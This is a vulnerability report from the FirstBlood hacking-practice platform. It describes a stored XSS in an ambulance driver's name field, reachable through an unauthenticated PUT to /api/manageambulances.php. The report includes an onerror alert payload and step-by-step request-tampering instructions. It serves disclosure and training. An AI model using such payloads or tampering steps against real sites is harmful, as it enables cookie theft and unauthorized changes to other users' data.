FirstBlood-#1668 — Stored xss in ambulance driver name
This issue was discovered on FirstBlood v3
On 2022-12-13, didsec Level 5 reported:
I have discovered it is possible to edit the details of an assigned ambulance and that the drivers name is vulnerable to stored XSS
Payload
<img src=x onerror=alert(document.domain)>
To reproduce:
- Visit
firstbloodhackers.com/book-appointment.php
and fill in the information required to make an appointment
- Click
Book Appointment
and intercept the request
- Add
&ambulance=1
to the data and forward the request
- Take note of the created appointment ID
- Visit
firstbloodhackers.com/api/ambulances.php?select={appointment ID}
and take note of the ambId
- Visit
firstbloodhackers.com/api/manageambulances.php
and intercept the request
- Change the request to a
PUT
request
- Add the following JSON to the data and forward the request
{"driver": "<img src=x onerror=alert(document.domain)>","number": "077777777777",
"ambId": "{ambId}"
}
Xss will execute when visiting firstbloodhackers.com/ambulance.php?apptId={appointment ID}
Impact:
- The attacker could steal a user's cookies.
- The attacker can steal data from whoever views the page.
- Users can execute arbitrary JavaScript code in the context of other users.
P2 High
This report contains multiple vulnerabilities:
FirstBlood ID: 76
Vulnerability Type: Stored XSS
There is a stored XSS vulnerability on /ambulances.php via a malicious drivers name
FirstBlood ID: 73
Vulnerability Type: Stored XSS
The endpoint /api/manageambulances.php will respond to an unauthenticated PUT request which allows an attacker to modify the information